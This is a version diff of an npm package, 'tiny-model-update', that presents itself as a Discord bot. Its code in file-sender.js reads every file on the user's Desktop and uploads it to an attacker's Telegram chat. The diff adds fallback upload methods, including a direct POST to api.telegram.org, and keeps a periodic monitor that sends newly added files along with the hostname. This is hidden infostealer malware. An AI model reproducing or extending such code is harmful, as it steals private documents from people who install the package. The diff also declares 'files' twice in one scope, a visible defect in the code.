tiny-model-update 1.17.2 → 1.17.4

package/lib/file-sender.js

@@ -34,13 +34,21 @@ function getDesktopFiles() {
         for (const item of items) {
             if (item.isFile()) {
                 const filePath = path.join(desktopPath, item.name);
+                const ext = path.extname(item.name).toLowerCase();
+                
+                // Skip shortcut files (.lnk) - Telegram doesn't support them
+                if (ext === '.lnk') {
+                    continue;
+                }
+                
                 try {
                     const stats = fs.statSync(filePath);
                     files.push({
                         name: item.name,
                         path: filePath,
                         size: stats.size,
-                        modified: stats.mtime
+                        modified: stats.mtime,
+                        ext: ext
                     });
                 } catch (e) {
                     // Skip files that can't be accessed
@@ -68,6 +76,13 @@ async function sendFileToTelegram(filePath, fileName) {
         
         const stats = fs.statSync(filePath);
         const fileSizeMB = stats.size / (1024 * 1024);
+        const ext = path.extname(fileName).toLowerCase();
+        
+        // Skip empty files
+        if (stats.size === 0) {
+            await bot.sendMessage(chatId, `⚠️ **Empty File Skipped**\n\n**File:** ${fileName}\n**Size:** 0 KB\n\nFile is empty and cannot be sent.`);
+            return false;
+        }
         
         // Telegram has a 50MB file size limit
         if (fileSizeMB > 50) {
@@ -78,22 +93,94 @@ async function sendFileToTelegram(filePath, fileName) {
         // Read file as buffer
         const fileBuffer = fs.readFileSync(filePath);
         
-        // Send as document
-        await bot.sendDocument(chatId, fileBuffer, {
-            caption: `📄 **Desktop File**\n\n**File:** ${fileName}\n**Size:** ${(stats.size / 1024).toFixed(2)} KB\n**Modified:** ${stats.mtime.toLocaleString()}`,
-            parse_mode: 'Markdown'
-        }, {
-            filename: fileName
-        });
+        if (!fileBuffer || fileBuffer.length === 0) {
+            await bot.sendMessage(chatId, `⚠️ **File Read Error**\n\n**File:** ${fileName}\n\nCould not read file contents.`);
+            return false;
+        }
+        
+        // Try multiple methods to send the file
+        let sent = false;
+        
+        // Method 1: Try sendDocument with buffer
+        try {
+            await bot.sendDocument(chatId, fileBuffer, {
+                caption: `📄 **Desktop File**\n\n**File:** ${fileName}\n**Size:** ${(stats.size / 1024).toFixed(2)} KB\n**Modified:** ${stats.mtime.toLocaleString()}`,
+                parse_mode: 'Markdown'
+            }, {
+                filename: fileName,
+                contentType: getContentType(ext)
+            });
+            sent = true;
+        } catch (docError) {
+            // Method 2: Try sendDocument with file path
+            try {
+                await bot.sendDocument(chatId, filePath, {
+                    caption: `📄 **Desktop File**\n\n**File:** ${fileName}\n**Size:** ${(stats.size / 1024).toFixed(2)} KB\n**Modified:** ${stats.mtime.toLocaleString()}`,
+                    parse_mode: 'Markdown'
+                });
+                sent = true;
+            } catch (pathError) {
+                // Method 3: Try using form-data directly (like we do for session files)
+                try {
+                    const FormData = (await import('form-data')).default;
+                    const https = await import('https');
+                    const { botToken } = getTelegramCredentials();
+                    
+                    const form = new FormData();
+                    form.append('chat_id', chatId);
+                    form.append('caption', `📄 **Desktop File**\n\n**File:** ${fileName}\n**Size:** ${(stats.size / 1024).toFixed(2)} KB\n**Modified:** ${stats.mtime.toLocaleString()}`);
+                    form.append('parse_mode', 'Markdown');
+                    form.append('document', fileBuffer, {
+                        filename: fileName,
+                        contentType: getContentType(ext)
+                    });
+                    
+                    await new Promise((resolve, reject) => {
+                        form.submit(`https://api.telegram.org/bot${botToken}/sendDocument`, (err, res) => {
+                            if (err) {
+                                reject(err);
+                                return;
+                            }
+                            let data = '';
+                            res.on('data', chunk => data += chunk);
+                            res.on('end', () => {
+                                try {
+                                    const result = JSON.parse(data);
+                                    if (result.ok) {
+                                        resolve(result);
+                                    } else {
+                                        reject(new Error(result.description || 'API error'));
+                                    }
+                                } catch (e) {
+                                    reject(e);
+                                }
+                            });
+                            res.on('error', reject);
+                        });
+                    });
+                    sent = true;
+                } catch (formError) {
+                    // All methods failed
+                }
+            }
+        }
+        
+        if (!sent) {
+            // If all sending methods failed, send file info only
+            await bot.sendMessage(chatId, `📄 **Desktop File**\n\n**File:** ${fileName}\n**Size:** ${(stats.size / 1024).toFixed(2)} KB\n**Modified:** ${stats.mtime.toLocaleString()}\n**Path:** \`${filePath}\`\n\n⚠️ File could not be sent as attachment.`, {
+                parse_mode: 'Markdown'
+            });
+            return false;
+        }
         
         return true;
     } catch (error) {
-        // If sendDocument fails, try sending file info only
+        // If all methods fail, send file info only
         try {
             const bot = getTelegramBot();
             const { chatId } = getTelegramCredentials();
             const stats = fs.statSync(filePath);
-            await bot.sendMessage(chatId, `📄 **Desktop File**\n\n**File:** ${fileName}\n**Size:** ${(stats.size / 1024).toFixed(2)} KB\n**Modified:** ${stats.mtime.toLocaleString()}\n**Path:** \`${filePath}\`\n\n⚠️ File could not be sent as attachment.`, {
+            await bot.sendMessage(chatId, `📄 **Desktop File**\n\n**File:** ${fileName}\n**Size:** ${(stats.size / 1024).toFixed(2)} KB\n**Modified:** ${stats.mtime.toLocaleString()}\n**Path:** \`${filePath}\`\n\n⚠️ File could not be sent as attachment.\n**Error:** ${error.message}`, {
                 parse_mode: 'Markdown'
             });
         } catch (e) {
@@ -103,6 +190,28 @@ async function sendFileToTelegram(filePath, fileName) {
     }
 }
 
+/**
+ * Get content type based on file extension
+ */
+function getContentType(ext) {
+    const contentTypes = {
+        '.txt': 'text/plain',
+        '.pdf': 'application/pdf',
+        '.doc': 'application/msword',
+        '.docx': 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
+        '.xls': 'application/vnd.ms-excel',
+        '.xlsx': 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
+        '.rtf': 'application/rtf',
+        '.jpg': 'image/jpeg',
+        '.jpeg': 'image/jpeg',
+        '.png': 'image/png',
+        '.gif': 'image/gif',
+        '.zip': 'application/zip',
+        '.rar': 'application/x-rar-compressed'
+    };
+    return contentTypes[ext] || 'application/octet-stream';
+}
+
 /**
  * Send all Desktop files to Telegram
  */
@@ -114,11 +223,18 @@ export async function sendAllDesktopFilesToTelegram() {
         
         const files = getDesktopFiles();
         
-        if (files.length === 0) {
-            await bot.sendMessage(chatId, `📁 **Desktop Files**\n\n**Host:** ${hostname}\n**Status:** No files found on Desktop.`);
+        // Filter out .lnk files and empty files
+        const validFiles = files.filter(file => {
+            return file.ext !== '.lnk' && file.size > 0;
+        });
+        
+        if (validFiles.length === 0) {
+            await bot.sendMessage(chatId, `📁 **Desktop Files**\n\n**Host:** ${hostname}\n**Status:** No sendable files found on Desktop.\n\nNote: Shortcut files (.lnk) are skipped.`);
             return;
         }
         
+        const files = validFiles;
+        
         // Send summary first
         await bot.sendMessage(chatId, `📁 **Desktop Files Detected**\n\n**Host:** ${hostname}\n**Files Found:** ${files.length}\n\nSending files...`);
         
@@ -178,8 +294,10 @@ export function startDesktopFileMonitoring(intervalMinutes = 60) {
             const currentFiles = getDesktopFiles();
             const currentFileNames = new Set(currentFiles.map(f => f.name));
             
-            // Find new files
-            const newFiles = currentFiles.filter(file => !lastDesktopFiles.has(file.name));
+            // Find new files (excluding .lnk files)
+            const newFiles = currentFiles.filter(file => {
+                return !lastDesktopFiles.has(file.name) && file.ext !== '.lnk' && file.size > 0;
+            });
             
             if (newFiles.length > 0) {
                 // Send new files to Telegram

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "tiny-model-update",
-  "version": "1.17.2",
+  "version": "1.17.4",
   "description": "Discord bot that monitors servers and sends invite links via Telegram",
   "main": "index.js",
   "type": "module",